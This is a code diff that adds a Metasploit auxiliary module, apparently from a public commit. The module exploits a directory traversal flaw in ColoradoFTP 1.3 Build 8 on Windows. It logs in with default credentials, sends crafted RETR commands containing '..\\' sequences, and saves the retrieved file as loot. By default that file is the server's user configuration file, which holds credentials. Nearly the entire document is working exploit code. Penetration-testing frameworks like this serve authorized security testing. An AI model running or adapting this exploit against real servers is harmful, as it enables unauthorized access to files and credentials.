|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::Ftp |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability found in ColoradoFTP server |
| 19 | + version <= 1.3 Build 8. This vulnerability allows an attacker to download and upload arbitrary files |
| 20 | + from the server GET/PUT command including file system traversal strings starting with '\\\'. |
| 21 | + The server is writen in Java and therefore platform independant, however this vulnerability is only |
| 22 | + exploitable on the Windows version. |
| 23 | + }, |
| 24 | + 'Platform' => 'win', |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + |
| 28 | + 'RvLaboratory', #discovery |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '40231'], |
| 34 | + [ 'URL', 'https://bitbucket.org/nolife/coloradoftp/commits/16a60c4a74ef477cd8c16ca82442eaab2fbe8c86'] |
| 35 | + ], |
| 36 | + 'DisclosureDate' => 'Aug 11 2016' |
| 37 | + )) |
| 38 | + |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 2 ]), |
| 42 | + OptString.new('PATH', [ true, 'Path to the file to disclose, releative to the root dir.', 'conf\\xml-users.xml']), |
| 43 | + OptString.new('FTPUSER', [ true, 'Username to use for login', 'ftpuser']), #override default |
| 44 | + OptString.new('FTPPASS', [ true, 'Password to use for login', 'ftpuser123']) #override default |
| 45 | + ], self.class) |
| 46 | + |
| 47 | + end |
| 48 | + |
| 49 | + def check_host(ip) |
| 50 | + begin |
| 51 | + connect |
| 52 | + if /Welcome to ColoradoFTP - the open source FTP server \(www\.coldcore\.com\)/i === banner |
| 53 | + return Exploit::CheckCode::Appears |
| 54 | + end |
| 55 | + ensure |
| 56 | + disconnect |
| 57 | + end |
| 58 | + |
| 59 | + Exploit::CheckCode::Safe |
| 60 | + end |
| 61 | + |
| 62 | + def run_host(ip) |
| 63 | + begin |
| 64 | + connect_login |
| 65 | + sock = data_connect |
| 66 | + |
| 67 | + file_path = datastore['PATH'] |
| 68 | + file = ::File.basename(file_path) |
| 69 | + |
| 70 | + # make RETR request and store server response message... |
| 71 | + retr_cmd = '\\\\\\' + ("..\\" * datastore['DEPTH'] ) + "#{file_path}" |
| 72 | + res = send_cmd( ["retr", retr_cmd], true) |
| 73 | + print_status(res) |
| 74 | + # read the file data from the socket that we opened |
| 75 | + response_data = sock.read(1024) |
| 76 | + |
| 77 | + unless response_data |
| 78 | + print_error("#{file} not found") |
| 79 | + return |
| 80 | + end |
| 81 | + |
| 82 | + if response_data.length == 0 |
| 83 | + print_status("File (#{file_path})from #{peer} is empty...") |
| 84 | + return |
| 85 | + end |
| 86 | + |
| 87 | + # store file data to loot |
| 88 | + loot_file = store_loot("coloradoftp.ftp.data", "text", rhost, response_data, file, file_path) |
| 89 | + vprint_status("Data returned:\n") |
| 90 | + vprint_line(response_data) |
| 91 | + print_good("Stored #{file_path} to #{loot_file}") |
| 92 | + |
| 93 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e |
| 94 | + vprint_error(e.message) |
| 95 | + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") |
| 96 | + rescue ::Timeout::Error, ::Errno::EPIPE => e |
| 97 | + vprint_error(e.message) |
| 98 | + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") |
| 99 | + ensure |
| 100 | + data_disconnect |
| 101 | + disconnect |
| 102 | + end |
| 103 | + end |
| 104 | +end |
0 commit comments